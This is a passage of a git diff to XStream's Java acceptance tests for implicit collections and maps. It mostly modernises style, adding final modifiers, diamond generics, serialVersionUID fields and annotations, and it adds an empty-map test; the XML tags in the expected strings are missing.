+762,28 @@ public void testWithDoubleHiddenList() { country.animals.add(new Animal("Wale")); country.animals.add(new Animal("Dolphin")); - String expected = "" + - "\n" + - " 10\n" + - " \n" + - " Cow\n" + - " \n" + - " \n" + - " Sheep\n" + - " \n" + - " \n" + - " Falcon\n" + - " \n" + - " \n" + - " Sparrow\n" + - " \n" + - " \n" + - " Wale\n" + - " \n" + - " \n" + - " Dolphin\n" + - " \n" + - ""; + final String expected = "" + + "\n" + + " 10\n" + + " \n" + + " Cow\n" + + " \n" + + " \n" + + " Sheep\n" + + " \n" + + " \n" + + " Falcon\n" + + " \n" + + " \n" + + " Sparrow\n" + + " \n" + + " \n" + + " Wale\n" + + " \n" + + " \n" + + " Dolphin\n" + + " \n" + + ""; xstream.addImplicitCollection(Farm.class, "animals"); xstream.addImplicitCollection(Area.class, "animals"); @@ -762,44 +792,48 @@ public void testWithDoubleHiddenList() { } public static class Dog extends Animal { - public Dog(String name) { + private static final long serialVersionUID = 201703L; + + public Dog(final String name) { super(name); } } public static class Cat extends Animal { - public Cat(String name) { + private static final long serialVersionUID = 201703L; + + public Cat(final String name) { super(name); } } public void testCollectsDifferentTypesWithFieldOfSameName() { - Farm farm = new Farm(100); + final Farm farm = new Farm(100); farm.add(new Dog("Lessie")); farm.add(new Cat("Garfield")); farm.add(new Cat("Felix")); farm.add(new Dog("Cujo")); farm.add(new Cat("Bob")); - String expected = "" + - "\n" + - " 100\n" + - " \n" + - " Lessie\n" + - " \n" + - " \n" + - " Garfield\n" + - " \n" + - " \n" + - " Felix\n" + - " \n" + - " \n" + - " Cujo\n" + - " \n" + - " \n" + - " Bob\n" + - " \n" + - ""; + final String expected = "" + + "\n" + + " 100\n" + + " \n" + + " Lessie\n" + + " \n" + + " \n" + + " Garfield\n" + + " \n" + + " \n" + + " Felix\n" + + " \n" + + " \n" + + " Cujo\n" + + " \n" + + " \n" + + " Bob\n" + + " \n" + + ""; xstream.addImplicitCollection(Farm.class, "animals"); assertBothWays(farm, expected); diff --git a/xstream/src/test/com/thoughtworks/acceptance/ImplicitMapTest.java b/xstream/src/test/com/thoughtworks/acceptance/ImplicitMapTest.java index 6e6931283..4db3dc0ff 100644 --- a/xstream/src/test/com/thoughtworks/acceptance/ImplicitMapTest.java +++ b/xstream/src/test/com/thoughtworks/acceptance/ImplicitMapTest.java @@ -1,21 +1,15 @@ /* - * Copyright (C) 2011, 2012, 2013, 2014, 2015 XStream Committers. + * Copyright (C) 2011, 2012, 2013, 2014, 2015, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD * style license a copy of which has been included with this distribution in * the LICENSE.txt file. - * + * * Created on 05. August 2011 Joerg Schaible */ package com.thoughtworks.acceptance; -import com.thoughtworks.acceptance.objects.Hardware; -import com.thoughtworks.acceptance.objects.Product; -import com.thoughtworks.acceptance.objects.SampleMaps; -import com.thoughtworks.acceptance.objects.Software; -import com.thoughtworks.xstream.converters.collections.MapConverter; - import java.util.ArrayList; import java.util.Collections; import java.util.LinkedHashMap; @@ -23,12 +17,21 @@ import java.util.Map; import java.util.TreeMap; +import com.thoughtworks.acceptance.objects.Hardware; +import com.thoughtworks.acceptance.objects.Product; +import com.thoughtworks.acceptance.objects.SampleMaps; +import com.thoughtworks.acceptance.objects.Software; +import com.thoughtworks.xstream.converters.collections.MapConverter; + + public class ImplicitMapTest extends AbstractAcceptanceTest { + @Override protected void setUp() throws Exception { super.setUp(); xstream.registerConverter(new MapConverter(xstream.getMapper()) { - public boolean canConvert(Class type) { + @Override + public boolean canConvert(final Class type) { return type == LinkedHashMap.class; } }); @@ -43,119 +46,120 @@ public boolean canConvert(Class type) { } public void testWithout() { - SampleMaps sample = new SampleMaps(); - sample.good = new LinkedHashMap(); + final SampleMaps sample = new SampleMaps<>(); + sample.good = new LinkedHashMap<>(); sample.good.put("Windows", new Software("Microsoft", "Windows")); sample.good.put("Linux", new Software("Red Hat", "Linux")); - String expected = "" + - "\n" + - " \n" + - " \n" + - " Windows\n" + - " \n" + - " Microsoft\n" + - " Windows\n" + - " \n" + - " \n" + - " \n" + - " Linux\n" + - " \n" + - " Red Hat\n" + - " Linux\n" + - " \n" + - " \n" + - " \n" + - " \n" + - ""; + final String expected = "" + + "\n" + + " \n" + + " \n" + + " Windows\n" + + " \n" + + " Microsoft\n" + + " Windows\n" + + " \n" + + " \n" + + " \n" + + " Linux\n" + + " \n" + + " Red Hat\n" + + " Linux\n" + + " \n" + + " \n" + + " \n" + + " \n" + + ""; assertBothWays(sample, expected); } public void testWithMap() { - SampleMaps sample = new SampleMaps(); - sample.good = new LinkedHashMap(); + final SampleMaps sample = new SampleMaps<>(); + sample.good = new LinkedHashMap<>(); sample.good.put("Windows", new Software("Microsoft", "Windows")); sample.good.put("Linux", new Software("Red Hat", "Linux")); - String expected = "" + - "\n" + - " \n" + - " Microsoft\n" + - " Windows\n" + - " \n" + - " \n" + - " Red Hat\n" + - " Linux\n" + - " \n" + - " \n" + - ""; + final String expected = "" + + "\n" + + " \n" + + " Microsoft\n" + + " Windows\n" + + " \n" + + " \n" + + " Red Hat\n" + + " Linux\n" + + " \n" + + " \n" + + ""; xstream.addImplicitMap(SampleMaps.class, "good", Software.class, "name"); assertBothWays(sample, expected); } public void testWithReferencedImplicitElement() { - List list = new ArrayList(); - SampleMaps sample = new SampleMaps(); - sample.good = new LinkedHashMap(); + final List list = new ArrayList<>(); + final SampleMaps sample = new SampleMaps<>(); + sample.good = new LinkedHashMap<>(); sample.good.put("Windows", new Software("Microsoft", "Windows")); sample.good.put("Linux", new Software("Red Hat", "Linux")); list.add(sample.good.get("Windows")); list.add(sample); list.add(sample.good.get("Linux")); - String expected = "" + - "\n" + - " \n" + - " Microsoft\n" + - " Windows\n" + - " \n" + - " \n" + - " \n" + - " \n" + - " Red Hat\n" + - " Linux\n" + - " \n" + - " \n" + - " \n" + - " \n" + - ""; + final String expected = "" + + "\n" + + " \n" + + " Microsoft\n" + + " Windows\n" + + " \n" + + " \n" + + " \n" + + " \n" + + " Red Hat\n" + + " Linux\n" + + " \n" + + " \n" + + " \n" + + " \n" + + ""; xstream.addImplicitMap(SampleMaps.class, "good", Software.class, "name"); assertBothWays(list, expected); } - public static class MegaSampleMaps extends SampleMaps { + public static class MegaSampleMaps extends SampleMaps { + private static final long serialVersionUID = 201108L; String separator = "---"; - Map other = new LinkedHashMap(); + Map other = new LinkedHashMap<>(); { - good = new LinkedHashMap(); - bad = new LinkedHashMap(); + good = new LinkedHashMap<>(); + bad = new LinkedHashMap<>(); } } - + public void testInheritsImplicitMapFromSuperclass() { xstream.alias("MEGA-sample", MegaSampleMaps.class); - SampleMaps sample = new MegaSampleMaps(); // subclass + final SampleMaps sample = new MegaSampleMaps<>(); // subclass sample.good.put("Windows", new Software("Microsoft", "Windows")); sample.good.put("Linux", new Software("Red Hat", "Linux")); - String expected = "" + - "\n" + - " \n" + - " Microsoft\n" + - " Windows\n" + - " \n" + - " \n" + - " Red Hat\n" + - " Linux\n" + - " \n" + - " \n" + - " ---\n" + - " \n" + - ""; + final String expected = "" + + "\n" + + " \n" + + " Microsoft\n" + + " Windows\n" + + " \n" + + " \n" + + " Red Hat\n" + + " Linux\n" + + " \n" + + " \n" + + " ---\n" + + " \n" + + ""; xstream.addImplicitMap(SampleMaps.class, "good", Software.class, "name"); assertBothWays(sample, expected); @@ -164,28 +168,28 @@ public void testInheritsImplicitMapFromSuperclass() { public void testSupportsInheritedAndDirectDeclaredImplicitMapAtOnce() { xstream.alias("MEGA-sample", MegaSampleMaps.class); - MegaSampleMaps sample = new MegaSampleMaps(); // subclass + final MegaSampleMaps sample = new MegaSampleMaps<>(); // subclass sample.good.put("Windows", new Software("Microsoft", "Windows")); sample.good.put("Linux", new Software("Red Hat", "Linux")); sample.other.put("i386", new Hardware("i386", "Intel")); - - String expected = "" + - "\n" + - " \n" + - " Microsoft\n" + - " Windows\n" + - " \n" + - " \n" + - " Red Hat\n" + - " Linux\n" + - " \n" + - " \n" + - " ---\n" + - " \n" + - " i386\n" + - " Intel\n" + - " \n" + - ""; + + final String expected = "" + + "\n" + + " \n" + + " Microsoft\n" + + " Windows\n" + + " \n" + + " \n" + + " Red Hat\n" + + " Linux\n" + + " \n" + + " \n" + + " ---\n" + + " \n" + + " i386\n" + + " Intel\n" + + " \n" + + ""; xstream.addImplicitMap(SampleMaps.class, "good", Software.class, "name"); xstream.addImplicitMap(MegaSampleMaps.class, "other", Hardware.class, "arch"); @@ -195,28 +199,28 @@ public void testSupportsInheritedAndDirectDeclaredImplicitMapAtOnce() { public void testInheritedAndDirectDeclaredImplicitMapAtOnceIsNotDeclarationSequenceDependent() { xstream.alias("MEGA-sample", MegaSampleMaps.class); - MegaSampleMaps sample = new MegaSampleMaps(); // subclass + final MegaSampleMaps sample = new MegaSampleMaps<>(); // subclass sample.good.put("Windows", new Software("Microsoft", "Windows")); sample.good.put("Linux", new Software("Red Hat", "Linux")); sample.other.put("i386", new Hardware("i386", "Intel")); - - String expected = "" + - "\n" + - " \n" + - " Microsoft\n" + - " Windows\n" + - " \n" + - " \n" + - " Red Hat\n" + - " Linux\n" + - " \n" + - " \n" + - " ---\n" + - " \n" + - " i386\n" + - " Intel\n" + - " \n" + - ""; + + final String expected = "" + + "\n" + + " \n" + + " Microsoft\n" + + " Windows\n" + + " \n" + + " \n" + + " Red Hat\n" + + " Linux\n" + + " \n" + + " \n" + + " ---\n" + + " \n" + + " i386\n" + + " Intel\n" + + " \n" + + ""; xstream.addImplicitMap(MegaSampleMaps.class, "other", Hardware.class, "arch"); xstream.addImplicitMap(SampleMaps.class, "good", Software.class, "name"); @@ -226,24 +230,24 @@ public void testInheritedAndDirectDeclaredImplicitMapAtOnceIsNotDeclarationSeque public void testAllowsSubclassToOverrideImplicitMapInSuperclass() { xstream.alias("MEGA-sample", MegaSampleMaps.class); - SampleMaps sample = new MegaSampleMaps(); // subclass + final SampleMaps sample = new MegaSampleMaps<>(); // subclass sample.good.put("Windows", new Software("Microsoft", "Windows")); sample.good.put("Linux", new Software("Red Hat", "Linux")); - String expected = "" + - "\n" + - " \n" + - " Microsoft\n" + - " Windows\n" + - " \n" + - " \n" + - " Red Hat\n" + - " Linux\n" + - " \n" + - " \n" + - " ---\n" + - " \n" + - ""; + final String expected = "" + + "\n" + + " \n" + + " Microsoft\n" + + " Windows\n" + + " \n" + + " \n" + + " Red Hat\n" + + " Linux\n" + + " \n" + + " \n" + + " ---\n" + + " \n" + + ""; xstream.addImplicitMap(MegaSampleMaps.class, "good", Software.class, "name"); assertBothWays(sample, expected); @@ -252,42 +256,42 @@ public void testAllowsSubclassToOverrideImplicitMapInSuperclass() { public void testAllowDifferentImplicitMapDefinitionsInSubclass() { xstream.alias("MEGA-sample", MegaSampleMaps.class); - SampleMaps sample = new SampleMaps(); + final SampleMaps sample = new SampleMaps<>(); sample.good.put("Google", new Software("Google", "Android")); - MegaSampleMaps megaSample = new MegaSampleMaps(); // subclass + final MegaSampleMaps megaSample = new MegaSampleMaps<>(); // subclass megaSample.good.put("Windows", new Software("Microsoft", "Windows")); megaSample.good.put("Linux", new Software("Red Hat", "Linux")); megaSample.other.put("i386", new Hardware("i386", "Intel")); - - List list = new ArrayList(); + + final List> list = new ArrayList<>(); list.add(sample); list.add(megaSample); - String expected = "" + - "\n" + - " \n" + - " \n" + - " Google\n" + - " Android\n" + - " \n" + - " \n" + - " \n" + - " \n" + - " \n" + - " Microsoft\n" + - " Windows\n" + - " \n" + - " \n" + - " Red Hat\n" + - " Linux\n" + - " \n" + - " \n" + - " ---\n" + - " \n" + - " i386\n" + - " Intel\n" + - " \n" + - " \n" + - ""; + final String expected = "" + + "\n" + + " \n" + + " \n" + + " Google\n" + + " Android\n" + + " \n" + + " \n" + + " \n" + + " \n" + + " \n" + + " Microsoft\n" + + " Windows\n" + + " \n" + + " \n" + + " Red Hat\n" + + " Linux\n" + + " \n" + + " \n" + + " ---\n" + + " \n" + + " i386\n" + + " Intel\n" + + " \n" + + " \n" + + ""; xstream.addImplicitMap(SampleMaps.class, "good", "mobile", Software.class, "vendor"); xstream.addImplicitMap(MegaSampleMaps.class, "good", Software.class, "name"); @@ -298,43 +302,43 @@ public void testAllowDifferentImplicitMapDefinitionsInSubclass() { public void testDefaultMapBasedOnType() { xstream.alias("MEGA-sample", MegaSampleMaps.class); - MegaSampleMaps sample = new MegaSampleMaps(); + final MegaSampleMaps sample = new MegaSampleMaps<>(); sample.good.put("Windows", new Software("Microsoft", "Windows")); sample.good.put("Linux", new Software("Red Hat", "Linux")); sample.good.put("Chrome", new Software("Google", "Chrome")); sample.bad.put("iPhone", new Product("iPhone", "i", 399.99)); sample.other.put("Intel", new Hardware("i386", "Intel")); sample.other.put("AMD", new Hardware("amd64", "AMD")); - - String expected = "" + - "\n" + - " \n" + - " Microsoft\n" + - " Windows\n" + - " \n" + - " \n" + - " Red Hat\n" + - " Linux\n" + - " \n" + - " \n" + - " Google\n" + - " Chrome\n" + - " \n" + - " \n" + - " iPhone\n" + - " i\n" + - " 399.99\n" + - " \n" + - " ---\n" + - " \n" + - " i386\n" + - " Intel\n" + - " \n" + - " \n" + - " amd64\n" + - " AMD\n" + - " \n" + - ""; + + final String expected = "" + + "\n" + + " \n" + + " Microsoft\n" + + " Windows\n" + + " \n" + + " \n" + + " Red Hat\n" + + " Linux\n" + + " \n" + + " \n" + + " Google\n" + + " Chrome\n" + + " \n" + + " \n" + + " iPhone\n" + + " i\n" + + " 399.99\n" + + " \n" + + " ---\n" + + " \n" + + " i386\n" + + " Intel\n" + + " \n" + + " \n" + + " amd64\n" + + " AMD\n" + + " \n" + + ""; xstream.addImplicitMap(SampleMaps.class, "good", Software.class, "name"); xstream.addImplicitMap(SampleMaps.class, "bad", Product.class, "name"); @@ -342,8 +346,9 @@ public void testDefaultMapBasedOnType() { assertBothWays(sample, expected); } + @SuppressWarnings("unchecked") public void testWithEMPTY_MAP() { - SampleMaps sample = new SampleMaps(); + final SampleMaps sample = new SampleMaps<>(); sample.good = Collections.EMPTY_MAP; sample.bad = Collections.EMPTY_MAP; @@ -352,24 +357,34 @@ public void testWithEMPTY_MAP() { assertEquals("", xstream.toXML(sample)); } + public void testWithEmptyMap() { + final SampleMaps sample = new SampleMaps<>(); + sample.good = Collections.emptyMap(); + sample.bad = Collections.emptyMap(); + + xstream.addImplicitMap(SampleMaps.class, "good", Software.class, "name"); + xstream.addImplicitMap(SampleMaps.class, "bad", Software.class, "name"); + assertEquals("", xstream.toXML(sample)); + } + public void testWithSortedMap() { - SampleMaps sample = new SampleMaps(); - sample.good = new TreeMap(); + final SampleMaps sample = new SampleMaps<>(); + sample.good = new TreeMap<>(); sample.good.put("Windows", new Software("Microsoft", "Windows")); sample.good.put("Linux", new Software("Red Hat", "Linux")); - String expected = "" + - "\n" + - " \n" + - " Red Hat\n" + - " Linux\n" + - " \n" + - " \n" + - " Microsoft\n" + - " Windows\n" + - " \n" + - " \n" + - ""; + final String expected = "" + + "\n" + + " \n" + + " Red Hat\n" + + " Linux\n" + + " \n" + + " \n" + + " Microsoft\n" + + " Windows\n" + + " \n" + + " \n" + + ""; xstream.addDefaultImplementation(TreeMap.class, Map.class); xstream.addImplicitMap(SampleMaps.class, "good", Software.class, "name"); @@ -377,46 +392,46 @@ public void testWithSortedMap() { } public void testWithExplicitItemNameMatchingTheNameOfTheFieldWithTheMap() { - SampleMaps sample = new SampleMaps(); - sample.bad = new LinkedHashMap(); + final SampleMaps sample = new SampleMaps<>(); + sample.bad = new LinkedHashMap<>(); sample.bad.put("Windows", new Software("Microsoft", "Windows")); sample.bad.put("Linux", new Software("Red Hat", "Linux")); - String expected = "" + - "\n" + - " \n" + - " \n" + - " Microsoft\n" + - " Windows\n" + - " \n" + - " \n" + - " Red Hat\n" + - " Linux\n" + - " \n" + - ""; + final String expected = "" + + "\n" + + " \n" + + " \n" + + " Microsoft\n" + + " Windows\n" + + " \n" + + " \n" + + " Red Hat\n" + + " Linux\n" + + " \n" + + ""; xstream.addImplicitMap(SampleMaps.class, "bad", "bad", Software.class, "name"); assertBothWays(sample, expected); } public void testWithImplicitNameMatchingTheNameOfTheFieldWithTheMap() { - SampleMaps sample = new SampleMaps(); - sample.bad = new LinkedHashMap(); + final SampleMaps sample = new SampleMaps<>(); + sample.bad = new LinkedHashMap<>(); sample.bad.put("Windows", new Software("Microsoft", "Windows")); sample.bad.put("Linux", new Software("Red Hat", "Linux")); - String expected = "" + - "\n" + - " \n" + - " \n" + - " Microsoft\n" + - " Windows\n" + - " \n" + - " \n" + - " Red Hat\n" + - " Linux\n" + - " \n" + - ""; + final String expected = "" + + "\n" + + " \n" + + " \n" + + " Microsoft\n" + + " Windows\n" + + " \n" + + " \n" + + " Red Hat\n" + + " Linux\n" + + " \n" + + ""; xstream.addImplicitMap(SampleMaps.class, "bad", Software.class, "name"); xstream.alias("bad", Software.class); @@ -424,23 +439,23 @@ public void testWithImplicitNameMatchingTheNameOfTheFieldWithTheMap() { } public void testWithAliasedItemNameMatchingTheAliasedNameOfTheFieldWithTheMap() { - SampleMaps sample = new SampleMaps(); - sample.bad = new LinkedHashMap(); + final SampleMaps sample = new SampleMaps<>(); + sample.bad = new LinkedHashMap<>(); sample.bad.put("Windows", new Software("Microsoft", "Windows")); sample.bad.put("Linux", new Software("Red Hat", "Linux")); - String expected = "" + - "\n" + - " \n" + - " \n" + - " Microsoft\n" + - " Windows\n" + - " \n" + - " \n" + - " Red Hat\n" + - " Linux\n" + - " \n" + - ""; + final String expected = "" + + "\n" + + " \n" + + " \n" + + " Microsoft\n" + + " Windows\n" + + " \n" + + " \n" + + " Red Hat\n" + + " Linux\n" + + " \n" + + ""; xstream.addImplicitMap(SampleMaps.class, "bad", "test", Software.class, "name"); xstream.aliasField("test", SampleMaps.class, "bad"); @@ -448,243 +463,230 @@ public void testWithAliasedItemNameMatchingTheAliasedNameOfTheFieldWithTheMap() } public void testWithNullElement() { - SampleMaps sample = new SampleMaps(); - sample.good = new LinkedHashMap(); + final SampleMaps sample = new SampleMaps<>(); + sample.good = new LinkedHashMap<>(); sample.good.put(null, null); sample.good.put("Linux", new Software("Red Hat", "Linux")); - String expected = "" + - "\n" + - " \n" + - " \n" + - " Red Hat\n" + - " Linux\n" + - " \n" + - " \n" + - ""; + final String expected = "" + + "\n" + + " \n" + + " \n" + + " Red Hat\n" + + " Linux\n" + + " \n" + + " \n" + + ""; xstream.addImplicitMap(SampleMaps.class, "good", Software.class, "name"); assertBothWays(sample, expected); } public void testWithAliasAndNullElement() { - SampleMaps sample = new SampleMaps(); - sample.good = new LinkedHashMap(); + final SampleMaps sample = new SampleMaps<>(); + sample.good = new LinkedHashMap<>(); sample.good.put(null, null); sample.good.put("Linux", new Software("Red Hat", "Linux")); - String expected = "" + - "\n" + - " \n" + - " \n" + - " Red Hat\n" + - " Linux\n" + - " \n" + - " \n" + - ""; + final String expected = "" + + "\n" + + " \n" + + " \n" + + " Red Hat\n" + + " Linux\n" + + " \n" + + " \n" + + ""; xstream.addImplicitMap(SampleMaps.class, "good", "code", Software.class, "name"); assertBothWays(sample, expected); } - - public static class SampleMaps2 extends SampleMaps { - public Map good = new LinkedHashMap(); + + public static class SampleMaps2 extends SampleMaps { + private static final long serialVersionUID = 201509L; + @SuppressWarnings("hiding") + public Map good = new LinkedHashMap<>(); } - + public void testWithHiddenMap() { - SampleMaps2 sample = new SampleMaps2(); - ((SampleMaps)sample).good = new LinkedHashMap(); - ((SampleMaps)sample).good.put("Windows", new Software("Microsoft", "Windows")); - ((SampleMaps)sample).good.put("Linux", new Software("Red Hat", "Linux")); + final SampleMaps2 sample = new SampleMaps2<>(); + ((SampleMaps)sample).good = new LinkedHashMap<>(); + ((SampleMaps)sample).good.put("Windows", new Software("Microsoft", "Windows")); + ((SampleMaps)sample).good.put("Linux", new Software("Red Hat", "Linux")); sample.good.put("Android", new Software("Google", "Android")); sample.good.put("iOS", new Software("Apple", "iOS")); sample.bad = null; - String expected = "" + - "\n" + - " \n" + - " Microsoft\n" + - " Windows\n" + - " \n" + - " \n" + - " Red Hat\n" + - " Linux\n" + - " \n" + - " \n" + - " Google\n" + - " Android\n" + - " \n" + - " \n" + - " Apple\n" + - " iOS\n" + - " \n" + - ""; + final String expected = "" + + "\n" + + " \n" + + " Microsoft\n" + + " Windows\n" + + " \n" + + " \n" + + " Red Hat\n" + + " Linux\n" + + " \n" + + " \n" + + " Google\n" + + " Android\n" + + " \n" + + " \n" + + " Apple\n" + + " iOS\n" + + " \n" + + ""; xstream.addImplicitMap(SampleMaps.class, "good", Software.class, "name"); xstream.addImplicitMap(SampleMaps2.class, "good", Software.class, "name"); assertBothWays(sample, expected); } - + public void testWithHiddenMapAndDifferentAlias() { - SampleMaps2 sample = new SampleMaps2(); - ((SampleMaps)sample).good = new LinkedHashMap(); - ((SampleMaps)sample).good.put("Windows", new Software("Microsoft", "Windows")); - ((SampleMaps)sample).good.put("Linux", new Software("Red Hat", "Linux")); + final SampleMaps2 sample = new SampleMaps2<>(); + ((SampleMaps)sample).good = new LinkedHashMap<>(); + ((SampleMaps)sample).good.put("Windows", new Software("Microsoft", "Windows")); + ((SampleMaps)sample).good.put("Linux", new Software("Red Hat", "Linux")); sample.good.put("Android", new Software("Google", "Android")); sample.good.put("iOS", new Software("Apple", "iOS")); sample.bad = null; - String expected = "" + - "\n" + - " \n" + - " Microsoft\n" + - " Windows\n" + - " \n" + - " \n" + - " Red Hat\n" + - " Linux\n" + - " \n" + - " \n" + - " Google\n" + - " Android\n" + - " \n" + - " \n" + - " Apple\n" + - " iOS\n" + - " \n" + - ""; - xstream.addImplicitMap(SampleMaps.class, "good", "code", Software.class, "name"); xstream.addImplicitMap(SampleMaps2.class, "good", "mobile", Software.class, "name"); } - + public void testDoesNotInheritFromHiddenMapOfSuperclass() { - SampleMaps2 sample = new SampleMaps2(); - ((SampleMaps)sample).good = new LinkedHashMap(); - ((SampleMaps)sample).good.put("Windows", new Software("Microsoft", "Windows")); - ((SampleMaps)sample).good.put("Linux", new Software("Red Hat", "Linux")); + final SampleMaps2 sample = new SampleMaps2<>(); + ((SampleMaps)sample).good = new LinkedHashMap<>(); + ((SampleMaps)sample).good.put("Windows", new Software("Microsoft", "Windows")); + ((SampleMaps)sample).good.put("Linux", new Software("Red Hat", "Linux")); sample.good.put("Android", new Software("Google", "Android")); sample.good.put("iOS", new Software("Apple", "iOS")); sample.bad = null; - String expected = "" + - "\n" + - " \n" + - " Microsoft\n" + - " Windows\n" + - " \n" + - " \n" + - " Red Hat\n" + - " Linux\n" + - " \n" + - " \n" + - " \n" + - " Android\n" + - " \n" + - " Google\n" + - " Android\n" + - " \n" + - " \n" + - " \n" + - " iOS\n" + - " \n" + - " Apple\n" + - " iOS\n" + - " \n" + - " \n" + - " \n" + - ""; + final String expected = "" + + "\n" + + " \n" + + " Microsoft\n" + + " Windows\n" + + " \n" + + " \n" + + " Red Hat\n" + + " Linux\n" + + " \n" + + " \n" + + " \n" + + " Android\n" + + " \n" + + " Google\n" + + " Android\n" + + " \n" + + " \n" + + " \n" + + " iOS\n" + + " \n" + + " Apple\n" + + " iOS\n" + + " \n" + + " \n" + + " \n" + + ""; xstream.addImplicitMap(SampleMaps.class, "good", Software.class, "name"); assertBothWays(sample, expected); } - + public void testDoesNotPropagateToHiddenMapOfSuperclass() { - SampleMaps2 sample = new SampleMaps2(); - ((SampleMaps)sample).good = new LinkedHashMap(); - ((SampleMaps)sample).good.put("Windows", new Software("Microsoft", "Windows")); - ((SampleMaps)sample).good.put("Linux", new Software("Red Hat", "Linux")); + final SampleMaps2 sample = new SampleMaps2<>(); + ((SampleMaps)sample).good = new LinkedHashMap<>(); + ((SampleMaps)sample).good.put("Windows", new Software("Microsoft", "Windows")); + ((SampleMaps)sample).good.put("Linux", new Software("Red Hat", "Linux")); sample.good.put("Android", new Software("Google", "Android")); sample.good.put("iOS", new Software("Apple", "iOS")); sample.bad = null; - String expected = "" + - "\n" + - " \n" + - " \n" + - " Windows\n" + - " \n" + - " Microsoft\n" + - " Windows\n" + - " \n" + - " \n" + - " \n" + - " Linux\n" + - " \n" + - " Red Hat\n" + - " Linux\n" + - " \n" + - " \n" + - " \n" + - " \n" + - " Google\n" + - " Android\n" + - " \n" + - " \n" + - " Apple\n" + - " iOS\n" + - " \n" + - ""; + final String expected = "" + + "\n" + + " \n" + + " \n" + + " Windows\n" + + " \n" + + " Microsoft\n" + + " Windows\n" + + " \n" + + " \n" + + " \n" + + " Linux\n" + + " \n" + + " Red Hat\n" + + " Linux\n" + + " \n" + + " \n" + + " \n" + + " \n" + + " Google\n" + + " Android\n" + + " \n" + + " \n" + + " Apple\n" + + " iOS\n" + + " \n" + + ""; xstream.addImplicitMap(SampleMaps2.class, "good", Software.class, "name"); assertBothWays(sample, expected); } - - public static class IntermediateMaps extends SampleMaps2 { + + public static class IntermediateMaps extends SampleMaps2 { + private static final long serialVersionUID = 201509L; } - - public static class SampleMaps3 extends IntermediateMaps { - Map good = new LinkedHashMap(); + + public static class SampleMaps3 extends + IntermediateMaps { + private static final long serialVersionUID = 201509L; + @SuppressWarnings("hiding") + Map good = new LinkedHashMap<>(); } - + public void testWithDoubleHiddenList() { - SampleMaps3 sample = new SampleMaps3(); - ((SampleMaps)sample).good = new LinkedHashMap(); - ((SampleMaps)sample).good.put("Windows", new Software("Microsoft", "Windows")); - ((SampleMaps)sample).good.put("Linux", new Software("Red Hat", "Linux")); - ((SampleMaps2)sample).good.put("Android", new Software("Google", "Android")); - ((SampleMaps2)sample).good.put("iOS", new Software("Apple", "iOS")); + final SampleMaps3 sample = new SampleMaps3<>(); + ((SampleMaps)sample).good = new LinkedHashMap<>(); + ((SampleMaps)sample).good.put("Windows", new Software("Microsoft", "Windows")); + ((SampleMaps)sample).good.put("Linux", new Software("Red Hat", "Linux")); + ((SampleMaps2)sample).good.put("Android", new Software("Google", + "Android")); + ((SampleMaps2)sample).good.put("iOS", new Software("Apple", "iOS")); sample.good.put("Oracle", new Software("Oracle", "Oracle")); sample.good.put("Hana", new Software("SAP", "Hana")); sample.bad = null; - String expected = "" + - "\n" + - " \n" + - " Microsoft\n" + - " Windows\n" + - " \n" + - " \n" + - " Red Hat\n" + - " Linux\n" + - " \n" + - " \n" + - " Google\n" + - " Android\n" + - " \n" + - " \n" + - " Apple\n" + - " iOS\n" + - " \n" + - " \n" + - " Oracle\n" + - " Oracle\n" + - " \n" + - " \n" + - " SAP\n" + - " Hana\n" + - " \n" + - ""; + final String expected = "" + + "\n" + + " \n" + + " Microsoft\n" + + " Windows\n" + + " \n" + + " \n" + + " Red Hat\n" + + " Linux\n" + + " \n" + + " \n" + + " Google\n" + + " Android\n" + + " \n" + + " \n" + + " Apple\n" + + " iOS\n" + + " \n" + + " \n" + + " Oracle\n" + + " Oracle\n" + + " \n" + + " \n" + + " SAP\n" + + " Hana\n" + + " \n" + + ""; xstream.addImplicitMap(SampleMaps.class, "good", Software.class, "name"); xstream.addImplicitMap(SampleMaps2.class, "good", Software.class, "name"); @@ -693,57 +695,57 @@ public void testWithDoubleHiddenList() { } public void testCollectsDifferentTypesWithFieldOfSameName() { - SampleMaps sample = new SampleMaps(); - sample.good = new LinkedHashMap(); + final SampleMaps sample = new SampleMaps<>(); + sample.good = new LinkedHashMap<>(); sample.good.put("iPhone", new Product("iPhone", "i", 399.99)); sample.good.put("Linux", new Software("Red Hat", "Linux")); sample.good.put("Intel", new Hardware("i386", "Intel")); - String expected = "" + - "\n" + - " \n" + - " iPhone\n" + - " i\n" + - " 399.99\n" + - " \n" + - " \n" + - " Red Hat\n" + - " Linux\n" + - " \n" + - " \n" + - " i386\n" + - " Intel\n" + - " \n" + - " \n" + - ""; + final String expected = "" + + "\n" + + " \n" + + " iPhone\n" + + " i\n" + + " 399.99\n" + + " \n" + + " \n" + + " Red Hat\n" + + " Linux\n" + + " \n" + + " \n" + + " i386\n" + + " Intel\n" + + " \n" + + " \n" + + ""; xstream.addImplicitMap(SampleMaps.class, "good", null, "name"); assertBothWays(sample, expected); } public void testSeparatesItemsBasedOnItemName() { - SampleMaps sample = new SampleMaps(); - sample.good = new LinkedHashMap(); + final SampleMaps sample = new SampleMaps<>(); + sample.good = new LinkedHashMap<>(); sample.good.put("Chrome", new Software("Google", "Chrome")); - sample.bad = new LinkedHashMap(); + sample.bad = new LinkedHashMap<>(); sample.bad.put("Linux", new Software("Red Hat", "Linux")); sample.bad.put("Windows", new Software("Microsoft", "Windows")); - String expected = "" + - "\n" + - " \n" + - " Google\n" + - " Chrome\n" + - " \n" + - " \n" + - " Red Hat\n" + - " Linux\n" + - " \n" + - " \n" + - " Microsoft\n" + - " Windows\n" + - " \n" + - ""; + final String expected = "" + + "\n" + + " \n" + + " Google\n" + + " Chrome\n" + + " \n" + + " \n" + + " Red Hat\n" + + " Linux\n" + + " \n" + + " \n" + + " Microsoft\n" + + " Windows\n" + + " \n" + + ""; xstream.addImplicitMap(SampleMaps.class, "good", "g", Software.class, "name"); xstream.addImplicitMap(SampleMaps.class, "bad", "b", Software.class, "name"); @@ -751,48 +753,48 @@ public void testSeparatesItemsBasedOnItemName() { } public void testWithoutKeyField() { - SampleMaps sample = new SampleMaps(); - sample.good = new LinkedHashMap(); + final SampleMaps sample = new SampleMaps<>(); + sample.good = new LinkedHashMap<>(); sample.good.put("Windows", new Software("Microsoft", "Windows")); sample.good.put("Linux", new Software("Red Hat", "Linux")); - String expected = "" + - "\n" + - " \n" + - " Windows\n" + - " \n" + - " Microsoft\n" + - " Windows\n" + - " \n" + - " \n" + - " \n" + - " Linux\n" + - " \n" + - " Red Hat\n" + - " Linux\n" + - " \n" + - " \n" + - " \n" + - ""; + final 